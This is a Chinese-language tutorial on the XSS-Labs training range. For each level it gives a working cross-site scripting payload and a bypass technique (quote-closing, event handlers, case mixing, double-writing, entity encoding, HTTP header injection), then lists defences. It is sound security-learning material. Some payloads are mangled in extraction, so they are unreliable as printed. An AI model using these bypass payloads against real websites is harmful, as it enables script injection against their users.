XSS-Labs靶场详细解析与教学文档
1. XSS原理概述
跨站脚本攻击(Cross Site Scripting,简称XSS)是指恶意攻击者在Web页面中插入恶意JavaScript代码(可能包含HTML代码),当用户浏览网页时,嵌入其中的代码会被执行,从而达到攻击目的。
XSS与CSS(层叠样式表)区分,故简称为XSS。
2. 靶场搭建
下载链接: https://github.com/do0dl3/xss-labs
搭建步骤:
- 下载源码
- 放置在phpstudy的根目录下
- 浏览器访问本地即可搭建成功
3. 关卡详细解析
第一关
特点: 无任何过滤
Payload:
level1.php?name=<script>alert(11)</script>
解析: 直接使用<script>标签即可成功弹窗。
第二关
特点: 需要闭合前面的引号和标签
Payload:
level2.php?keyword=111"><script>alert(111)</script>
解析: 通过闭合"和>,使后续的<script>标签能够正常执行。
第三关
特点: 使用htmlspecialchars()函数过滤了<和>
Payload:
level3.php?keyword=' onclick=alert(1)//
解析:
htmlspecialchars()默认只编码双引号,单引号不转义- 使用
onclick事件触发弹窗
第四关
特点: <>被直接过滤移除
Payload:
level4.php?keyword=" onclick=alert(1)//
解析: 通过闭合引号并使用onclick事件绕过。
第五关
特点: 过滤了script和onclick
Payload:
level5.php?keyword="><a href=javascript:alert(1)>11</a>//
解析:
- 使用
<a>标签和JavaScript伪协议(javascript:alert(1)) - 闭合前面的引号和标签
第六关
特点: 过滤关键词但可大小写绕过
Payload:
level6.php?keyword="><scriPt>alert(1)</script>
解析: 通过大小写混合绕过关键词过滤。
第七关
特点: 关键词被替换为空
Payload:
level7.php?keyword="><a hrhrefef=javascrscriptipt:alert(1)>11</a>//
解析: 使用双写绕过(如scrscriptipt会被过滤为script)。
第八关
特点: 在<a>标签的href属性中,可自动解码HTML实体
Payload:
level8.php?keyword=javascript:alert(1)
解析: 对字母r进行HTML实体编码(r)。
第九关
特点: 需要URL包含http://
Payload:
level9.php?keyword=javascript:alert(1)//http://
解析:
- 需要包含合法的URL格式(
http://) - 前面需要注释
//否则不成功
第十关
特点: 隐藏的输入框
Payload:
&t_sort=" type='text' onclick=javascript:alert(12)>//
解析:
- 通过修改
type属性显示隐藏的输入框 - 使用
onclick事件触发
第十一关
特点: 通过Referer头传值
Payload:
referer:&t_sort=" type='text' onclick=javascript:alert(12)>//
解析: 使用BurpSuite修改Referer头注入。
第十二关
特点: 通过User-Agent头传值
Payload:
User-Agent: Mozilla/5.0 ... "type="text" onclick=javascript:alert(1)//
解析: 修改User-Agent头注入。
第十三关
特点: 通过Cookie传值
Payload:
Cookie: user=" type='text' onclick=javascript:alert(1)//
解析: 修改Cookie值注入。
第十四关
备注: 靶场存在问题,无法正常使用。
第十五关
特点: 使用ng-include包含外部HTML
Payload:
level15.php?src='level1.php?name='
解析:
ng-include用于包含外部HTML文件- 使用``标签的
onerror事件触发
第十六关
特点: 过滤空格、引号等
Payload:
level16.php?keyword=<a%0Aonclick=alert(1)>111</a>
解析:
- 使用
%0A(换行符)代替空格 - 使用
<a>标签和onclick事件
第十七关
特点: 使用<embed>标签
Payload:
level17.php?arg01=123 onmousedown=alert(1)&arg02=b
解析:
<embed>标签定义容器嵌入外部应用- 使用
onmousedown或onmouseover事件 - 注意浏览器兼容性问题
第十八关
特点: 与第十七关相同
Payload: 同第十七关
4. 常见绕过技巧总结
- 闭合引号和标签: 如
"><script>alert(1)</script> - 使用事件处理器: 如
onclick,onerror,onmouseover等 - 大小写绕过: 如
<scRiPt>alert(1)</sCriPt> - 双写绕过: 如
scrscriptipt→script - HTML实体编码: 如
javascript - JavaScript伪协议: 如
javascript:alert(1) - 使用非
<script>标签: 如``,<a>,<svg>等 - 空格替代: 使用
%0A(换行符)代替空格 - 修改HTTP头注入: Referer, User-Agent, Cookie等
- 利用HTML5特性: 如
ng-include,embed等
5. 防御建议
- 对所有用户输入进行过滤和转义
- 使用
htmlspecialchars()等函数处理特殊字符 - 实施内容安全策略(CSP)
- 对特定关键词进行过滤(注意绕过可能性)
- 对输出进行编码处理
- 避免直接将用户输入插入到HTML中
通过系统性地学习XSS-Labs靶场,可以全面了解XSS攻击的各种形式和防御方法,是Web安全学习的重要实践环节。